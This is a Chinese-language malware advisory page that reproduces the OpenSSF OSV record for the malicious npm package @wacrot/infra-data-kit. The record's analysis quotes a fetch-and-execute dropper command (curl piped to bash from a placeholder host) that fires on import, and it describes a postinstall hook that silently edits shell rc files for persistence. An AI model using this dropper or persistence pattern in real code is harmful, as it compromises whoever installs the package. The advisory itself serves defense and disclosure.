目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

@wacrot/infra-data-kit

MAL-2026-5834
2026-06-15 21:35:19
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @wacrot/infra-data-kit (npm)

安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
905
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npm@wacrot/infra-data-kit2.0.6
npm@wacrot/infra-data-kit2.0.7
npm@wacrot/infra-data-kit2.0.8
npm@wacrot/infra-data-kit2.0.9
npm@wacrot/infra-data-kit2.1.0
npm@wacrot/infra-data-kit2.1.1
npm@wacrot/infra-data-kit2.1.2
npm@wacrot/infra-data-kit2.1.4
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-15T21:35:19Z","published":"2026-06-15T20:55:15Z","schema_version":"1.7.4","id":"MAL-2026-5834","summary":"Malicious code in @wacrot/infra-data-kit (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1568dfa61d19a63f6837c4a8c9b5d728401d0f34c87ce3550af594c141a94ac1)\nOn any `require()` or `import` of @wacrot/infra-data-kit, src/index.js invokes addSupport() at module top level, which spawns a detached `bash -c 'curl -fsSL https://example.com/script.sh | bash'` via node:child_process with stdio ignored and errors swallowed by empty catch blocks. This is a textbook fetch-and-execute dropper embedded in a package advertised as a GeoJSON / data utility, and it fires automatically on import with no user consent or verification. Separately, package.json declares a postinstall hook (`npx no-install @wacrot/infra-data-kit npm run scripts/setup.js`) which executes scripts/setup.js at install time. setup.js locates the first of ~/.zshrc, ~/.bashrc, ~/.profile, makes a.bak copy, and inserts a new line into the file. The current inserted line is benign (`export MY_CUSTOM_VAR='test'`), but the primitive is silent, persistent modification of the installer's shell rc files on every install — the standard mechanism for attacker persistence via PATH/alias/source hooks. The atypical postinstall invocation through `npx no-install` further obscures lifecycle inspection. The destination URL `https://example.com/script.sh` is a placeholder; the mechanism is fully wired and any future republish or DNS pivot delivers attacker-controlled shell code to every installer.\n","affected":[{"package":{"ecosystem":"npm","name":"@wacrot/infra-data-kit"},"versions":["2.1.0","2.0.6","2.1.4","2.0.9","2.0.8","2.0.7","2.1.1","2.1.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"src/index.js","sha256":"60a944d3f7a425ddd9b05ddf51d5d55cac6109402378680018cd5e2fb696ee50","tlsh":"ec22fc0e74fa6110c25b31b611abd0daba34c853250c9d51b99d87e06fd4abc9af7b8c"},{"path":"scripts/setup.js","sha256":"1bf9d290d4dcfae9500aca1025b84c41c779865830c0455aa84c06ad96f33ac6","tlsh":"263183678afd5f7705220952b34f20353c21e3923510f69099a8694d4fc4ad8c6c3aed"},{"path":"package.json","sha256":"feebb916f42e8438ea43ae30057cc0219bfd8e26a249bbcde85734dd0d231a46","tlsh":"94017b26ee309d2345d865521da92203a761a8870b88fc1937c7402c8f4e77f21fe76e"}],"package_integrity":[{"filename":"infra-data-kit-2.1.0.tgz","hashes":{"sha1":"4188fe2d34ce05ed66bd83483f73de3c86a8a8a0","sha512_sri":"sha512-XpeWsnqqKxb4Jxvfw11PuN92GKvEtjZSGpdnuUiQIAjO93pGQd+mGz6wuXjC8sifpmPzPxhmPrTb4jj4LL7WKw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@wacrot/infra-data-kit/v/2.1.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@wacrot/infra-data-kit/v/2.0.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@wacrot/infra-data-kit/v/2.1.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@wacrot/infra-data-kit/v/2.0.9"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@wacrot/infra-data-kit/v/2.0.8"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@wacrot/infra-data-kit/v/2.0.7"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@wacrot/infra-data-kit/v/2.1.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@wacrot/infra-data-kit/v/2.1.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-006715","import_time":"2026-06-15T21:33:35.207481775Z","modified_time":"2026-06-15T20:55:22Z","sha256":"1568dfa61d19a63f6837c4a8c9b5d728401d0f34c87ce3550af594c141a94ac1","source":"amazon-inspector","versions":["2.1.0"]},{"id":"IN-MAL-2026-006716","import_time":"2026-06-15T21:33:35.316809388Z","modified_time":"2026-06-15T20:55:23Z","sha256":"9b786922d30a4bf2895ccc72832e755017c2a6086b60a41546477353cad7a002","source":"amazon-inspector","versions":["2.0.6"]},{"id":"IN-MAL-2026-006711","import_time":"2026-06-15T21:33:34.807092723Z","modified_time":"2026-06-15T20:55:15Z","sha256":"ed3dbc1e873b9aeef4db7a0118d43e32ef55ba4f0bdbe60601f26dfb9f9465df","source":"amazon-inspector","versions":["2.1.4"]},{"id":"IN-MAL-2026-006718","import_time":"2026-06-15T21:33:35.480808304Z","modified_time":"2026-06-15T20:55:25Z","sha256":"2fae648a1c4f2f52a58e92d0877909d0c257de08ac85648b26c05cfaeed735c4","source":"amazon-inspector","versions":["2.0.9"]},{"id":"IN-MAL-2026-006713","import_time":"2026-06-15T21:33:35.017855228Z","modified_time":"2026-06-15T20:55:20Z","sha256":"48b21f9afd4984fc6e40d4d6d9d22118936bbbda62480fceb51e2a1e05d7f2fe","source":"amazon-inspector","versions":["2.0.8"]},{"id":"IN-MAL-2026-006717","import_time":"2026-06-15T21:33:35.394317825Z","modified_time":"2026-06-15T20:55:23Z","sha256":"5a287471a6a92d725824819ebe06e1f705cbce4f1a67443be50872c034e4eb6e","source":"amazon-inspector","versions":["2.0.7"]},{"id":"IN-MAL-2026-006714","import_time":"2026-06-15T21:33:35.116906903Z","modified_time":"2026-06-15T20:55:21Z","sha256":"6dffaaac09416f6badd0af76a7fd930025004f4d7eed785c4cb8d275a55287cc","source":"amazon-inspector","versions":["2.1.1"]},{"id":"IN-MAL-2026-006712","import_time":"2026-06-15T21:33:34.909205154Z","modified_time":"2026-06-15T20:55:20Z","sha256":"7ef0c37effa4d55594ab9723da3aa953b0a6826726083f7ae264d913389e36ed","source":"amazon-inspector","versions":["2.1.2"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0